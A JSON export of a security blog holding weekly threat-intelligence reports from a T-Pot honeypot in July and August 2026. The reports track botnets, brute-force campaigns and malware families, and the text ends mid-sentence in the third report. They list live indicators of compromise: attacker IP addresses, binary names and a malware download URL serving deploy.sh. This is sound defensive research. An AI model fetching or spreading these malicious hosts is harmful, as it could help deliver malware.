[{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/adbhoney/","section":"Tags","summary":"","title":"Adbhoney","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/bitcoin/","section":"Tags","summary":"","title":"Bitcoin","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/blueteam/","section":"Tags","summary":"","title":"BlueTeam","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/botnet/","section":"Tags","summary":"","title":"Botnet","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/conpot/","section":"Tags","summary":"","title":"ConPot","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/cowrie/","section":"Tags","summary":"","title":"Cowrie","type":"tags"},{"content":"","date":"August 10, 2026","externalUrl":null,"permalink":"/es/tags/cripto/","section":"Tags","summary":"","title":"Cripto","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/crypto/","section":"Tags","summary":"","title":"Crypto","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/dionaea/","section":"Tags","summary":"","title":"Dionaea","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/honeypot/","section":"Tags","summary":"","title":"Honeypot","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/categories/honeypot-diaries/","section":"Categories","summary":"","title":"Honeypot Diaries","type":"categories"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/honeypot/","section":"Honeypots","summary":"","title":"Honeypots","type":"honeypot"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/honeytrap/","section":"Tags","summary":"","title":"Honeytrap","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/ics/","section":"Tags","summary":"","title":"ICS","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/iec104/","section":"Tags","summary":"","title":"IEC104","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/iot/","section":"Tags","summary":"","title":"IoT","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/ipmi/","section":"Tags","summary":"","title":"IPMI","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/malware/","section":"Tags","summary":"","title":"Malware","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/","section":"Pablo Seoane · Pentester \u0026 Security Researcher","summary":"","title":"Pablo Seoane · Pentester \u0026 Security Researcher","type":"page"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/rdp/","section":"Tags","summary":"","title":"RDP","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/redtail/","section":"Tags","summary":"","title":"Redtail","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/scada/","section":"Tags","summary":"","title":"SCADA","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/sentrypeer/","section":"Tags","summary":"","title":"Sentrypeer","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/snmp/","section":"Tags","summary":"","title":"SNMP","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/soc/","section":"Tags","summary":"","title":"SOC","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/threatintel/","section":"Tags","summary":"","title":"ThreatIntel","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/tpot/","section":"Tags","summary":"","title":"TPot","type":"tags"},{"content":"","date":"10 August 2026","externalUrl":null,"permalink":"/tags/voip/","section":"Tags","summary":"","title":"VoIP","type":"tags"},{"content":" Fifth weekly report from the T-Pot honeypot, period August 2–9, 2026. Volume rises to ~2,814,000 events. The residential ConPot botnet reaches its third consecutive week with now-global reach (NTT DOCOMO, Wind Tre, Bouygues Telecom joining the already known Comcast, AT\u0026amp;T, Charter). RDPHoneypot nearly matches its historical maximum driven by a new actor: Datacamp Limited. Cowrie sees a cryptocurrency credential wave and a new malware family named iran for the first time. And the Adbhoney campaign tracked since the first report — 110→228→287→102 downloads — closes definitively. Period analyzed: August 2–9, 2026 Source: T-Pot (multi-honeypot + ELK Stack) — publicly internet-exposed instance Classification: Portfolio use / TLP:CLEAR Previous reports: Jul 7–11 · Jul 12–18 · Jul 19–25 · Jul 26–Aug 2\n1. Executive Summary # Total volume rises to ~2,814,000 events (compared to ~2,023,000 last week). With five accumulated weeks, this edition confirms the project\u0026rsquo;s most solid finding and adds two new ones:\nThe residential/mobile ConPot botnet is confirmed for a third consecutive week, and now it\u0026rsquo;s global: the American block (Comcast, AT\u0026amp;T, Charter, third week) is joined by NTT DOCOMO (Japan), Wind Tre (Italy), and Bouygues Telecom (France). Botnet distributed across at least four countries, sustained three weeks, always on SNMP. RDPHoneypot reverses its downward trend (2.3M→843k→657k) and spikes to 1,894,467 attacks (x2.9), nearly matching the historical peak. The driver is a new actor: Datacamp Limited, with 479,496 events and no prior presence in any report. Thematic shift in Cowrie: first time in five weeks that the username tagclouds include cryptocurrency credentials (wallet, bitcoin, blockchain, chainlink, polkadot, solana, btcuser, exchange0) — brute force campaign targeting exposed SSH nodes/wallets/exchanges. New malware family: iran.x86_64, iran.aarch64, iran.m68k, iran.mips binaries from 165.22.69.214, in parallel with Redtail which remains present. The Adbhoney campaign tracked since report #1 closes: hash 849840d92c44ed... (110→228→287→102→0) disappears from the top 10, replaced by a new one of smaller scale. The most stable persistent actors (108.181.56.189, 103.149.197.34) practically disappear from the global top 10 this week, while 45.153.34.x in Cowrie completes five consecutive weeks. 2. Volume — Five Weeks of Context # Honeypot Jul 7–11 Jul 12–18 Jul 19–25 Jul 26–Aug 2 Aug 2–9 RDPHoneypot 111,818 2,312,634 843,181 657,393 1,894,467 Honeytrap 678,792 218,202 372,001 545,549 321,830 Cowrie 116,390 229,182 249,057 318,800 251,659 ConPot 1,594 4,461 122,376 100,475 118,762 Sentrypeer 36,522 340,759 119,651 279,730 89,607 Dionaea 61,123 91,957 92,722 74,429 78,268 Adbhoney 2,618 2,012 1,737 1,292 652 Approx. total ~1,011,000 ~3,213,000 ~1,820,000 ~2,023,000 ~2,814,000 Five-week patterns:\nRDPHoneypot is the most volatile sensor: it depends almost entirely on whether there\u0026rsquo;s an active campaign that week. This week there is. ConPot went from anecdotal (1,594 events, week 1) to stabilizing at 100,000–122,000 during the last three weeks — the most significant evolution of the project. Adbhoney drops 75% cumulatively over five weeks (2,618→652), confirming the end of the specific campaign we were tracking. Cowrie was the only one with monotonic growth for the first four weeks; this week it drops slightly, probably due to rotation of the attacker pool toward other infrastructure. 3. ConPot — Residential Botnet Confirmed: Three Weeks, Four Countries # 118,762 attacks, 1,232 unique IPs. Third week in the 100,000–122,000 range, and the origin composition expands the pattern to international scale.\nThird week: from USA to global # ASN Organization Type Country Weeks 4713 NTT DOCOMO BUSINESS Mobile Japan 1st time 7922 Comcast Cable Communications Residential USA 3rd 7018 AT\u0026amp;T Enterprises Residential USA 3rd 33363 / 20115 Charter Communications Residential USA 3rd 1267 Wind Tre S.p.A. Mobile Italy 1st time 15557 SFR Residential France 2nd 6327 Shaw Communications Residential Canada 1st time 5410 Bouygues Telecom Mobile France 1st time This is the project\u0026rsquo;s most solid finding. Zero hosting/VPS providers in the top 10 for three consecutive weeks, with confirmed presence now in USA, Canada, France, Italy, and Japan. The conclusion no longer admits reasonable doubt: botnet of compromised domestic and/or mobile devices, distributed internationally, scanning SNMP in a sustained manner.\nWhy SNMP? It\u0026rsquo;s the most widespread management protocol in home routers and IoT devices, typically with default credentials (public/private) that are never changed. Scanning it at scale serves to identify new compromisable nodes — the botnet self-replicates.\nIEC-104: sixth consecutive week # The electrical telecontrol protocol (port 2404) continues present. This week without captured interaction in the input/response panels — pure port probing, no attempts to speak the protocol.\n4. RDPHoneypot — Near Historical Maximum, New Actor # 1,894,467 attacks, 828 unique IPs (x2.9 compared to last week).\nDatacamp Limited: from zero to protagonist # ASN Organization Events — Datacamp Limited 479,496 47447 IONOS SE 351,489 201814 MEVSPACE sp. z o.o. 200,267 205997 Vlad Cojuhari 186,326 Datacamp Limited goes from not appearing in any previous report to leading origin with nearly a quarter of all sensor traffic. It coincides with the entry of Spain as the second origin country (new this week), suggesting this actor\u0026rsquo;s infrastructure is located or routed through Spain. MEVSPACE remains the most consistent actor of recent weeks — this is now its fourth appearance in the top.\nFor the first time, the proportion of traffic classified as \u0026ldquo;bot/crawler\u0026rdquo; approaches 45%, nearly equaling \u0026ldquo;known attacker\u0026rdquo; — a profile shift compared to previous weeks where \u0026ldquo;known attacker\u0026rdquo; dominated above 90%.\n5. Cowrie — Crypto Credentials and New Malware Family # 251,659 attacks, 2,868 unique IPs (notable jump in unique IPs), 60 unique HASSH.\nCryptocurrency credential wave # The username tagcloud breaks for the first time in five weeks with the previous pattern. Alongside the usual Administrator/root, a complete cryptocurrency dictionary appears:\nwallet · bitcoin · blockchain · chainlink · polkadot · solana · cardano · metaverse · binance · ethuser · btcuser · cryptoadmin · exchange0 · xrp\nNone of these terms had appeared in the four previous reports. It\u0026rsquo;s a dictionary built specifically to test administration accounts of blockchain nodes, self-hosted wallets, or exchange panels exposed by SSH — a completely different attack vector from generic server brute force.\nNew family: \u0026ldquo;iran\u0026rdquo; # Downloads captured from 165.22.69.214 with binaries named:\niran.x86_64 iran.aarch64 iran.m68k iran.mips Four architectures under the same campaign name, in parallel with Redtail (which still appears). Using a country name as an identifier doesn\u0026rsquo;t allow any conclusion about real origin without binary analysis — it could be an arbitrary choice by the operator — but it\u0026rsquo;s a distinctive data point that warrants registration and tracking if it reappears.\nFive-week persistence # The subnet 45.153.34.x (this time IP .167) reappears — fifth consecutive week, the longest confirmed persistence streak in the entire project.\nDominant SSH client shift # For the first time, SSH-2.0-Go (dominant across all four previous weeks) loses first place to a libssh variant, which now represents over 80% of traffic — consistent with the tool change that typically accompanies a new campaign entering with its own tooling.\n6. Honeytrap — New Short-Cycle Dominant Actor # 321,830 attacks, 9,280 unique IPs.\nIP 193.46.255.112 (ASN Unmanaged Ltd) leads with 118,453 events in Honeytrap, and also appears in the global top (122,767) and in Adbhoney (38). Meanwhile, 45.95.147.229 — dominant last week with 188,529 events — drops to only 15,455 this week. This pattern (new actor appears strongly, dominates a week, drops sharply the next) is already recurring: Flyservers S.A., 45.95.147.229, now 193.46.255.112. Honeytrap\u0026rsquo;s dominant actors have life cycles of approximately one week.\nPort 5901 (VNC) appears in the top destinations for the first time, alongside the already familiar 5038/AMI, 7070, 8728/MikroTik, and 2222.\n7. Sentrypeer — New Block, New Country # 89,607 attacks, 188 unique IPs — another drop (from 279,730), confirming the sensor\u0026rsquo;s erratic pattern across five weeks (36k→340k→119k→280k→90k).\nPoland becomes the top origin country, with MEVSPACE sp. z o.o. concentrating 68,436 events in a block of five consecutive IPs (149.50.107.43, .47, .48, .49, .53) — the same subnet rotation pattern already seen repeatedly in other sensors.\n108.181.56.189 and 108.181.64.154 — present in recent weeks — don\u0026rsquo;t appear in the top 10 this week. Their streak of continuous presence appears to have cut.\n8. Dionaea — The Turkish Target Dilutes # 78,268 attacks, 1,348 unique IPs.\nThe Turkish ERP terms (KASA, LOGO, MIKRO, MUHASEBE) that dominated the tagclouds the two previous weeks disappear this week. However, two Turkish ISPs (Superonline İletişim Hizmetleri A.Ş. and Netonline Bilişim) remain in the top ASN with moderate volumes — Turkish-origin background traffic continues, although the specific directed campaign appears to have paused or ended.\nNew origin countries appear: Georgia, Nepal, and Albania — greater geographic dispersion than in previous weeks.\n9. Adbhoney — Original Campaign Definitively Closed # 652 attacks, 99 unique IPs — sensor\u0026rsquo;s historical minimum.\nWeek Hash 849840... downloads Jul 7–11 110 Jul 12–18 228 Jul 19–25 287 Jul 26–Aug 2 102 Aug 2–9 0 The hash disappears completely from the top 10. In its place, f1d67dc388635f8e854dcd04b7a2c423ee64d60f21a760104ba4a679be3f46d.raw appears with only 16 downloads — a different campaign, much smaller scale. The original mining campaign (com.ufo.miner via rebirth.arm7) is over or its infrastructure was neutralized. Five weeks tracking a single hash, from its appearance to its close, is exactly the kind of longitudinal intelligence that distinguishes a threat intel report with real temporal perspective from an isolated snapshot.\n10. Persistent Actors — Week 5 # Indicator W1 W2 W3 W4 W5 45.153.34.x (Cowrie) ✅ ✅ ✅ ✅ ✅ Redtail (Cowrie) ✅ ✅ ✅ ✅ (+RISC-V) ✅ (+iran parallel) IEC-104 on ConPot ✅ ✅ ✅ ✅ ✅ Residential SNMP botnet (ConPot) ❌ ❌ ✅ ✅ ✅ 108.181.56.189 (Sentrypeer) ❌ ✅ ✅ ✅ ⚠️ absent 103.149.197.34 (Cowrie) ✅ ✅ ✅ ✅ ⚠️ lesser role Adbhoney hash 849840... ✅ 110 ✅ 228 ✅ 287 ⚠️ 102 ❌ end Turkish ERP target (Dionaea) ❌ ❌ ✅ ✅ ⚠️ diluted 11. Conclusions # The residential/mobile ConPot botnet is the project\u0026rsquo;s most solid finding across five weeks: three consecutive weeks with the same origin profile (pure domestic/mobile ISPs, not a single VPS) and now with reach across four countries. Best candidate for an independent technical article focused on the dynamic \u0026ldquo;the attacker has no own infrastructure — it\u0026rsquo;s your neighbors\u0026rsquo; devices.\u0026rdquo;\nHoneytrap and RDPHoneypot dominant actors have approximately one-week life cycles: Flyservers S.A., 45.95.147.229, Datacamp Limited, 193.46.255.112 — all dominate one week and deflate sharply the next. Treating them as distinct actors week by week is more accurate than trying to build a persistent actor profile for these sensors.\nThe crypto credential wave in Cowrie warrants specific tracking: if it repeats next week, it\u0026rsquo;s a real directed campaign and an independent-post level finding; if it doesn\u0026rsquo;t reappear, it was a one-off event like the iran malware or the unusual architectures from previous weeks.\nThe complete Adbhoney hash lifecycle (appearance → growth → drop → disappearance in five weeks) is the best example of the value of longitudinal IOC tracking. Without accumulated context, the week 4 drop would have had no clear interpretation.\n45.153.34.x in Cowrie is the project\u0026rsquo;s most persistent actor (five weeks) and the most solid candidate for a permanent subnet-level blocking rule in a real production environment.\nReport compiled from data collected in a publicly internet-exposed T-Pot instance. Methodology: export of aggregated Kibana dashboards (range August 2–9, 2026) plus credential tag clouds in CSV. Comparison against the four previous reports (Jul 7–11, Jul 12–18, Jul 19–25, Jul 26–Aug 2).\n","date":"10 August 2026","externalUrl":null,"permalink":"/honeypot/informe-semanal-05/","section":"Honeypots","summary":" Fifth weekly report from the T-Pot honeypot, period August 2–9, 2026. Volume rises to ~2,814,000 events. The residential ConPot botnet reaches its third consecutive week with now-global reach (NTT DOCOMO, Wind Tre, Bouygues Telecom joining the already known Comcast, AT\u0026T, Charter). RDPHoneypot nearly matches its historical maximum driven by a new actor: Datacamp Limited. Cowrie sees a cryptocurrency credential wave and a new malware family named iran for the first time. And the Adbhoney campaign tracked since the first report — 110→228→287→102 downloads — closes definitively. Period analyzed: August 2–9, 2026 Source: T-Pot (multi-honeypot + ELK Stack) — publicly internet-exposed instance Classification: Portfolio use / TLP:CLEAR Previous reports: Jul 7–11 · Jul 12–18 · Jul 19–25 · Jul 26–Aug 2\n","title":"Weekly Threat Intelligence Report — T-Pot Honeypot (Aug 2–9, 2026)","type":"honeypot"},{"content":"","date":"3 August 2026","externalUrl":null,"permalink":"/tags/erp/","section":"Tags","summary":"","title":"ERP","type":"tags"},{"content":"","date":"3 August 2026","externalUrl":null,"permalink":"/tags/katana/","section":"Tags","summary":"","title":"Katana","type":"tags"},{"content":"","date":"3 August 2026","externalUrl":null,"permalink":"/tags/mirai/","section":"Tags","summary":"","title":"Mirai","type":"tags"},{"content":"","date":"3 August 2026","externalUrl":null,"permalink":"/tags/mssql/","section":"Tags","summary":"","title":"MSSQL","type":"tags"},{"content":"","date":"3 August 2026","externalUrl":null,"permalink":"/tags/riscv/","section":"Tags","summary":"","title":"RISCV","type":"tags"},{"content":" Fourth weekly report from the T-Pot honeypot, period July 26 – August 2, 2026. With four weeks of accumulated data, patterns stop being anecdotal and become trends: the residential SNMP botnet on ConPot is confirmed for a second consecutive week (Comcast, AT\u0026amp;T, Verizon, Charter with not a single VPS in the top 10), IP 91.199.133.133 catalogued in ThreatFox as a Mirai Katana C2 reappears serving payloads in Cowrie, Redtail adds RISC-V architecture, and the brute force campaign against Turkish ERP software in Dionaea is confirmed with a second week of consistent data. Period analyzed: July 26 – August 2, 2026 Source: T-Pot (multi-honeypot + ELK Stack) — publicly internet-exposed instance Classification: Portfolio use / TLP:CLEAR Previous reports: Jul 7–11 · Jul 12–18 · Jul 19–25\n1. Executive Summary # Total volume rises to ~2,023,000 events (compared to ~1,820,000 last week). With four weeks of data, patterns stop being anecdotal:\nThe residential ConPot botnet was not a one-off event: top 10 ASN again dominated by domestic ISPs (Comcast, AT\u0026amp;T, Verizon, Charter ×3, Cox, CenturyLink, Videotron, SFR), with not a single hosting/VPS provider. Second identical week in composition. Full-circle with the project\u0026rsquo;s first investigation: IP 91.199.133.133 — catalogued in ThreatFox as an active C2 for the Mirai \u0026ldquo;Katana\u0026rdquo; variant — reappears serving deploy.sh to Cowrie, weeks after its first detection. Still operational. New dominant actor: 45.95.147.229 (Alsycon B.V.) becomes the most active IP in the entire dashboard (194,606 events), concentrated in Honeytrap. No relevant presence in previous weeks. Four-week persistence: 108.181.56.189 (Sentrypeer) and 103.149.197.34 (Cowrie) have been in the top 10 of their respective sensors for four consecutive weeks. First drop in the Adbhoney hash after three weeks of growth: 110→228→287→102 downloads. Pause or takedown of the origin server? The key data point will be next week. Redtail expands architectures: first appearance of redtail.riscv, adding RISC-V to ARM7/ARM8/i686/x86_64. The Turkish target in Dionaea is confirmed: second week with Turkish ERP terminology in the tagcloud (POS, ERCYONETICI as new terms) and Turk Telekom repeating in the top ASN. 2. Volume — Four Weeks of Context # Honeypot Jul 7–11 Jul 12–18 Jul 19–25 Jul 26–Aug 2 RDPHoneypot 111,818 2,312,634 843,181 657,393 Honeytrap 678,792 218,202 372,001 545,549 Cowrie 116,390 229,182 249,057 318,800 Sentrypeer 36,522 340,759 119,651 279,730 ConPot 1,594 4,461 122,376 100,475 Dionaea 61,123 91,957 92,722 74,429 Adbhoney 2,618 2,012 1,737 1,292 Approx. total ~1,011,000 ~3,213,000 ~1,820,000 ~2,023,000 Patterns emerging at four weeks:\nCowrie is the only sensor with monotonic growth across all four weeks (116k→229k→249k→319k) — organic activity, without artificial spikes. RDPHoneypot has been declining for three consecutive weeks after the week 2 peak (2.3M→843k→657k) — the campaign is gradually deflating. Sentrypeer is the most erratic (36k→340k→119k→280k) — suggests several independent actors entering and exiting, not a single predictable campaign. Adbhoney is the only one with sustained volume decline across all four weeks, although the specific hash grew for three weeks before dropping this week — these are distinct signals. 3. ConPot — Second Week of the Residential Botnet: It\u0026rsquo;s a Pattern Now # 100,475 attacks, 1,077 unique IPs. Slightly lower volume than last week (122,376) but the important finding is that origin composition repeats exactly.\nTop ASN: second week with not a single hosting provider # ASN Organization Country Events 7922 Comcast Cable Communications USA 29,940 7018 AT\u0026amp;T Enterprises USA 8,303 701 Verizon Business USA 7,434 20001 / 11426 / 10796 Charter Communications USA 3,799 / 2,339 / 2,155 22773 Cox Communications USA 2,809 15557 SFR France 2,547 209 CenturyLink USA 2,271 5769 Videotron Ltée Canada 2,188 With two identical weeks in composition (pure residential ISPs, no VPS/hosting), the compromised home/IoT router botnet scanning SNMP hypothesis moves from being a reasonable hypothesis to being the most likely explanation backed by repeated data. The profile is classic: Comcast, AT\u0026amp;T, Charter, and Verizon are the four largest broadband operators in the USA, with tens of millions of home routers — exactly the kind of infrastructure an IoT botnet would compromise at scale.\nIPMI rises # Port 623 (IPMI) becomes the second most attacked port on the sensor, just behind 161 (SNMP). Poorly secured IPMI is a real server compromise path in datacenter environments — its sustained growth warrants tracking if it continues.\nIEC-104: fifth consecutive week # The electrical substation telecontrol protocol remains present. The \u0026ldquo;Conpot Response - Top 10\u0026rdquo; shows the response \u0026quot;? Command not found. Send \u0026lsquo;H\u0026rsquo; for help.\u0026quot; repeated 53 times this week, compared to 2–3 times in previous weeks — more exploratory interaction attempts with the simulated service, not just automatic port scanning.\n4. The New Dominant Actor: 45.95.147.229 (Alsycon B.V.) # Most active individual IP in the entire dashboard this week: 194,606 events. No notable presence in any previous week.\nSensor Events Honeytrap 188,529 Adbhoney 266 The Alsycon B.V. ASN had appeared in previous weeks with smaller volumes distributed across several sensors, but never with a single IP concentrating nearly 200,000 events in one week. Typical profile of an IP recently put into production for an aggressive scanning campaign. The key data point will be next week: does it consolidate as a recurring actor or follow Flyservers S.A.\u0026rsquo;s path and disappear almost entirely?\n5. Cowrie — ThreatFox Full Circle and RISC-V in Redtail # 318,800 attacks, 1,821 unique IPs, 63 HASSH. Fourth consecutive weekly increase.\nThe ThreatFox IP reappears # In the download panel, the URL http://91.199.133.133:8080/deploy.sh appears with 10 downloads. 91.199.133.133 is the same IP we identified in ThreatFox at the start of this project, catalogued as an active C2 for the Mirai \u0026ldquo;Katana\u0026rdquo; variant with 100% confidence. It now serves a deployment script over HTTP on port 8080, confirming that the infrastructure remains operational weeks after its first detection. Without the IOC record from previous weeks, this reappearance would have gone unnoticed as \u0026ldquo;just another URL\u0026rdquo; in the download top.\nRedtail adds RISC-V # First appearance of redtail.riscv alongside the already familiar .arm7, .arm8, .i686. RISC-V is an open instruction set architecture with growing presence in microcontrollers and low-cost IoT hardware. Its inclusion confirms that the Redtail operator is still actively expanding their target device coverage.\nPersistent actors # Indicator Week 1 Week 2 Week 3 Week 4 Subnet 45.153.34.x ✅ ✅ ✅ ✅ Redtail malware ✅ ✅ ✅ ✅ chattr -ia .ssh script ✅ ✅ ✅ ✅ 103.149.197.34 in top 10 ✅ ✅ ✅ ✅ Technical curiosity: HTTP headers as \u0026ldquo;credentials\u0026rdquo; # The username and password tagclouds literally include fragments of HTTP requests: User-Agent: python-requests/2.27.1, Accept: */*, Host: 62.84.184.111:23. This happens when an automated HTTP client (a misconfigured scanner, given the python-requests user-agent) sends a complete HTTP request against Cowrie\u0026rsquo;s SSH port — the honeypot tries to interpret the first lines as a login attempt and records them verbatim. Not an attack per se, but a good example of poorly-built scanner noise that can distort credential statistics if not filtered with judgment.\n6. Sentrypeer — Rebound with New Protagonists from the Same Block # 279,730 attacks, 178 unique IPs (x2.3 compared to last week). Two phases: high plateau July 26–27, even higher peak July 30–31.\nFour-week persistence # 108.181.56.189 returns with 96,541 events — fourth consecutive week with relevant presence on this sensor and in the general dashboard.\nNew protagonist from the same block # 108.181.64.154 — from the same range 108.181.6x.x — becomes the most active IP on the sensor with 103,695 events. Two IPs from the same /16 block being the most active in consecutive weeks points to operating not a single IP, but a block of addresses under the same control, rotating similarly to what we already saw with subnet 45.153.34.x in Cowrie.\nThe most frequent SIP user-agents change to Cisco-SIPGateway/IOS and FreeSWITCH-mod_sofia — variation in tools, same VoIP fraud/enumeration objective.\n7. RDPHoneypot — Third Week of Sustained Decline # 657,393 attacks, 551 unique IPs. Trend confirmed: 2,312,634 → 843,181 → 657,393.\nMEVSPACE sp. z o.o. remains the most consistent ASN of recent weeks (190,392 this week). Flyservers S.A., which nearly disappeared in week 3, reappears with modest volume (22,783) — neither dominating again nor disappearing entirely. It consolidates as a recurring secondary actor.\n8. Dionaea — Second Week of the Turkish ERP Target: It\u0026rsquo;s a Campaign Now # 74,429 attacks, 1,660 unique IPs — declining in volume, but with the most important qualitative finding on the sensor.\nThe tagcloud expands # Term Meaning / Context KASA Cash/register MIKRO, LOGO Real Turkish ERP brands MUHASEBE Accounting BARKOD Barcode ENTEGRA Integration (ERP module) POS (new) Point of sale ERCYONETICI (new) Likely \u0026ldquo;ERP yöneticisi\u0026rdquo; — ERP administrator in Turkish Turk Telekom repeats in the top ASN (3,670 events, compared to 3,410 last week). With two weeks of consistent data in terminology, protocol (MSSQL), and geographic origin, the directed campaign classification is now solid, not a hypothesis.\nIndia becomes the top origin country (new in Dionaea), with Alliance Broadband Services Pvt. Ltd. (11,070 events) and IP 144.48.227.75 as the main origin.\n9. Adbhoney — First Drop: Pause or Takedown? # 1,292 attacks, 108 unique IPs. The data that breaks the streak:\nWeek Hash 849840... downloads Jul 7–11 110 Jul 12–18 228 Jul 19–25 287 Jul 26–Aug 2 102 The hash 849840d92c44ed04af624abd9e5d79a7a082016c89ac39ac50d19f3d53839b5 drops from 287 to 102 downloads. The busybox wget command against 94.154.43.48 also drops proportionally (218 → 80 executions). Possible causes include the origin infrastructure being taken down, a deliberate campaign pause, or one-off variability. The decisive data point will be next week: if it recovers, it was a pause; if it keeps dropping or disappears, it\u0026rsquo;s an indicator of takedown or campaign abandonment.\n10. Persistent Actors — First Consolidated Table # With four weeks of data now available, this longitudinal tracking section is inaugurated:\nIndicator W1 (Jul 7–11) W2 (Jul 12–18) W3 (Jul 19–25) W4 (Jul 26–Aug 2) 45.153.34.x (Cowrie) ✅ ✅ ✅ ✅ Redtail (Cowrie) ✅ ✅ ✅ ✅ (+RISC-V) 103.149.197.34 (Cowrie) ✅ ✅ ✅ ✅ 108.181.56.189 (Sentrypeer) ❌ ✅ ✅ ✅ Adbhoney hash 849840... ✅ 110 ✅ 228 ✅ 287 ⚠️ 102 IEC-104 on ConPot ✅ ✅ ✅ ✅ Residential SNMP botnet (ConPot) ❌ ❌ ✅ ✅ Turkish ERP target (Dionaea) ❌ ❌ ✅ ✅ 91.199.133.133 (Katana C2) 🔍 IOC ❌ ❌ ✅ reappears 11. Conclusions # The residential SNMP botnet is the project\u0026rsquo;s most solid finding so far: two weeks with identical origin composition (pure domestic ISPs, no VPS) eliminate the possibility of a one-off anomaly. Best candidate for an independent technical post.\nThe reappearance of 91.199.133.133 demonstrates the value of longitudinal IOC tracking: without the context from previous weeks, it would have been \u0026ldquo;just another URL.\u0026rdquo; With context, it\u0026rsquo;s confirmation that an explicitly researched C2 infrastructure remains operational weeks later.\nWatch 45.95.147.229 next week: recurring actor or flash-in-the-pan like Flyservers S.A.? One week doesn\u0026rsquo;t allow classification.\nThe Turkish ERP target in Dionaea is now a confirmed campaign: two weeks with the same profile (terminology, protocol, origin ASN) justify treating it as a directed attack, not generic noise.\nThe Adbhoney hash drop is the week\u0026rsquo;s most uncertain signal: next week\u0026rsquo;s tracking will resolve whether it was a pause or campaign end.\nThe persistent actors table is now ready to be a fixed section of the report — with four weeks of history, it has real value for distinguishing organic behavior from structured campaigns.\nReport compiled from data collected in a publicly internet-exposed T-Pot instance. Methodology: export of aggregated Kibana dashboards (range July 26 – August 2, 2026) plus credential tag clouds in CSV. Comparison made against the three previous reports (Jul 7–11, Jul 12–18, Jul 19–25).\n","date":"3 August 2026","externalUrl":null,"permalink":"/honeypot/informe-semanal-04/","section":"Honeypots","summary":" Fourth weekly report from the T-Pot honeypot, period July 26 – August 2, 2026. With four weeks of accumulated data, patterns stop being anecdotal and become trends: the residential SNMP botnet on ConPot is confirmed for a second consecutive week (Comcast, AT\u0026T, Verizon, Charter with not a single VPS in the top 10), IP 91.199.133.133 catalogued in ThreatFox as a Mirai Katana C2 reappears serving payloads in Cowrie, Redtail adds RISC-V architecture, and the brute force campaign against Turkish ERP software in Dionaea is confirmed with a second week of consistent data. Period analyzed: July 26 – August 2, 2026 Source: T-Pot (multi-honeypot + ELK Stack) — publicly internet-exposed instance Classification: Portfolio use / TLP:CLEAR Previous reports: Jul 7–11 · Jul 12–18 · Jul 19–25\n","title":"Weekly Threat Intelligence Report — T-Pot Honeypot (Jul 26 – Aug 2, 2026)","type":"honeypot"},{"content":" Third weekly report from the T-Pot honeypot, period July 19–25, 2026. Total volume drops to ~1,820,000 events (half of last week), but the relevant data isn\u0026rsquo;t the total — it\u0026rsquo;s the composition: ConPot spikes x27 with origin in residential ISPs (Comcast, AT\u0026amp;T, Virgin Media, Free SAS) — the signature of a domestic router botnet attacking SNMP, a qualitatively different actor from anything seen so far. Meanwhile, Flyservers S.A. collapses on RDP, the same Adbhoney payload is in its third week of growth, and Dionaea detects brute force specifically targeting Turkish accounting software over MSSQL. Period analyzed: July 19–25, 2026 Source: T-Pot (multi-honeypot + ELK Stack) — publicly internet-exposed instance Classification: Portfolio use / TLP:CLEAR Previous reports: Jul 7–11 · Jul 12–18\n1. Executive Summary # Total volume drops to ~1,820,000 events, roughly half of last week (~3,213,000). But the relevant data isn\u0026rsquo;t the total volume — it\u0026rsquo;s that composition changes radically sensor by sensor:\nConPot spikes x27 (4,461 → 122,376 attacks) with an unprecedented origin shift: no longer VPS hosting or research scanners, but residential ISPs — Comcast, Charter, AT\u0026amp;T, Virgin Media, Free SAS, TIM. All concentrated on port 161 (SNMP). The signature of a botnet of compromised home routers/IoT devices. RDPHoneypot drops to a third (2,312,634 → 843,181). Flyservers S.A., which generated over a million events last week, falls to barely ~40,800 — its campaign stopped or migrated almost entirely. Sentrypeer also drops to a third (340,759 → 119,651), but the IP 108.181.56.189 — the most active in the dataset last week — reappears as the most active again, also highlighted in the global top 10. Third week with relevant presence. Honeytrap grows again (218,202 → 372,001), driven 40% by a single IP from the German academic network DFN — almost certainly research traffic, not a real attack. Cowrie confirms for a third consecutive week the subnet 45.153.34.x and the Redtail malware. Same actor, same infrastructure, same payload. The Adbhoney hash keeps growing week over week: 110 → 228 → 287 downloads. Three weeks of data confirm an active, expanding campaign. New Dionaea finding: Turkish terms in the username tagcloud (KASA, DEPO, FATURA, LOGO, MIKRO) — names of real Turkish ERP/accounting software — alongside an 